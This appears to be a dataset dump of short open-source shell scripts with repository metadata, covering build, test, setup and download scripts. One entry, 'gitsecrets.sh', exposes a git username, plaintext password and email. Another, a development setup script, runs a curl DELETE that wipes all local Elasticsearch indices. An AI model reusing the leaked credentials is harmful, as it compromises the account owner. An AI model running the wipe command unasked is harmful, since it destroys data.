# Preliminaries. Kill off old services.
/usr/bin/killall -9 hostapd hostapd-edimax
/usr/sbin/service isc-dhcp-server stop
# Detect RPi version.
# Per http://elinux.org/RPi_HardwareHistory
DAEMON_CONF=/etc/hostapd/hostapd.conf
DAEMON_SBIN=/usr/sbin/hostapd
# Edimax: EW-7811Un, USB hub w/builtin Wifi (... | jpoirier/stratux-setup | stratux-wifi.sh | Shell | bsd-3-clause | 923 |
#!/bin/bash -xe
# build nanomsg and install (this one is a lil tricky to build statically)
cd /_src/nanomsg
cmake \
-DNN_STATIC_LIB=ON \
-DNN_ENABLE_DOC=OFF \
-DNN_MAX_SOCKETS=4096 \
-DCMAKE_C_FLAGS="-fPIC -DPIC" \
-DCMAKE_INSTALL_PREFIX=/_install/nanomsg \
-DCMAKE_INSTALL_LIBDIR=lib \
.
make -j4
make install
... | anton-povarov/pinba2 | docker/build-from-source.sh | Shell | bsd-3-clause | 870 |
#!/bin/sh
cd ${CURR_DIR}/issue672-upgrade-optional
rm -rf b/.dub
echo "{\"fileVersion\": 1,\"versions\": {\"dub\": \"1.0.0\"}}" > dub.selections.json
${DUB} upgrade || exit 1
if ! grep -c -e "\"dub\": \"1.1.0\"" dub.selections.json; then
echo "Dependency not upgraded."
exit 1
fi
| Flamaros/dub | test/issue672-upgrade-optional.sh | Shell | mit | 284 |
#!/bin/bash
FN="hugene11sttranscriptcluster.db_8.7.0.tar.gz"
URLS=(
"https://bioconductor.org/packages/3.11/data/annotation/src/contrib/hugene11sttranscriptcluster.db_8.7.0.tar.gz"
"https://bioarchive.galaxyproject.org/hugene11sttranscriptcluster.db_8.7.0.tar.gz"
"https://depot.galaxyproject.org/software/biocondu... | roryk/recipes | recipes/bioconductor-hugene11sttranscriptcluster.db/post-link.sh | Shell | mit | 1,552 |
#!/bin/bash
cd ${MSOFT}/eclipse.c
export JAVA_HOME=/usr/lib/jvm/openjdk-7-amd64
export PATH=${JAVA_HOME}/bin:$PATH
./eclipse &
| GdZ/scriptfile | sh/eclipse.c.sh | Shell | mit | 127 |
#!/usr/bin/env bash
# Copyright (c) 2020 The Bitcoin developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
# Note: Smoke tests should focus on speed rather than coverage so they
# can be used as a quick sanity check. Do not p... | Bitcoin-ABC/bitcoin-abc | contrib/devtools/smoke-tests.sh | Shell | mit | 1,135 |
#!/bin/bash
DJANGO_SETTINGS_MODULE=test_project.test_app.settings python ./build_test_data.py $1
| pjdelport/django-cities | build_test_data.sh | Shell | mit | 98 |
function prompt_user() {
echo "%(!.$ON_COLOR.$OFF_COLOR)$PROMPT_CHAR%{$reset_color%}"
}
| jonathanjsimon/minimal | modules/user.zsh | Shell | mit | 91 |
# bash/zsh completion support for core Git.
#
# Copyright (C) 2006,2007 Shawn O. Pearce <spearce@spearce.org>
# Conceptually based on gitcompletion (http://gitweb.hawaga.org.uk/).
# Distributed under the GNU General Public License, version 2.0.
#
# The contained completion routines provide support for completing:
#
# ... | guillaumeaubert/dot-files | bash_includes/git-completion.sh | Shell | mit | 69,320 |
#!/bin/bash
#
# This file is contains a simple example tutorial on how to run the
# 'MattersK' code and generate a 3D figure of the spectral function.
#
# Read the explanation below to run the code in trearctively. Otherwise
# the whole calculation can be run automatically by executing this file.
# Type 'source Exam... | ManyBodyPhysics/LectureNotesPhysics | doc/src/Chapter11-programs/Inf_Matter/Example/Example_run.sh | Shell | cc0-1.0 | 3,697 |
# Exemplo: "Feliz Natal" em Esperanto: Gajan Kristnaskon
$ zznatal #=> --regex ^"Feliz Natal" em .+: .+$
| funcoeszz/funcoeszz | testador/zznatal.sh | Shell | gpl-2.0 | 107 |
#!/bin/sh -e
# clean elasticsearch
curl -XDELETE localhost:9200/_template/* && curl -XDELETE localhost:9200/*
flask index init
flask queues declare
flask fixtures events
curl -XGET localhost:9200/*/_flush
flask fixtures aggregations
curl -XGET localhost:9200/*/_flush
| dinosk/invenio-stats | examples/app-setup.sh | Shell | gpl-2.0 | 271 |
#!/bin/sh
gitusername="masuokas"
gitpassword="Byhdfer7"
gituseremail="mattisuokas@wippies.com" | masuokas/SportSpot | gitsecrets.sh | Shell | gpl-2.0 | 95 |
export SPARK_HOME=../../incubator-spark
export CP=$SPARK_HOME/examples/target/scala-2.10/spark-examples-assembly-0.9.0-incubating-SNAPSHOT.jar
export CP=$CP:target/scala-2.10/matchmaker-spark-process-assembly-1.0.0.jar
export CP=$CP:.
java -cp "$CP" com.ripjar.spark.job.App -c samples/testSparkService1.json --start
| nologic/spark-stream | scripts/test.sh | Shell | gpl-2.0 | 320 |
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-or-later
# Copyright (c) International Business Machines Corp., 2005
# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
# Author: Avantika Mathur (mathurav@us.ibm.com)
FS_BIND_TESTFUNC=test
. fs_bind_lib.sh
test()
{
tst_res TINFO "move: private to private - wi... | pevik/ltp | testcases/kernel/fs/fs_bind/move/fs_bind_move20.sh | Shell | gpl-2.0 | 743 |
#!/bin/sh
test_description='prune $GIT_DIR/worktrees'
GIT_TEST_DEFAULT_INITIAL_BRANCH_NAME=main
export GIT_TEST_DEFAULT_INITIAL_BRANCH_NAME
. ./test-lib.sh
test_expect_success initialize '
git commit --allow-empty -m init
'
test_expect_success 'worktree prune on normal repo' '
git worktree prune &&
test_must_fa... | tacker66/git | t/t2401-worktree-prune.sh | Shell | gpl-2.0 | 3,586 |
# Plowshare uptobox.com module
# Copyright (c) 2012-2015 Plowshare team
#
# This file is part of Plowshare.
#
# Plowshare is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (... | Raziel-23/plowshare-modules-legacy | uptobox.sh | Shell | gpl-3.0 | 12,593 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.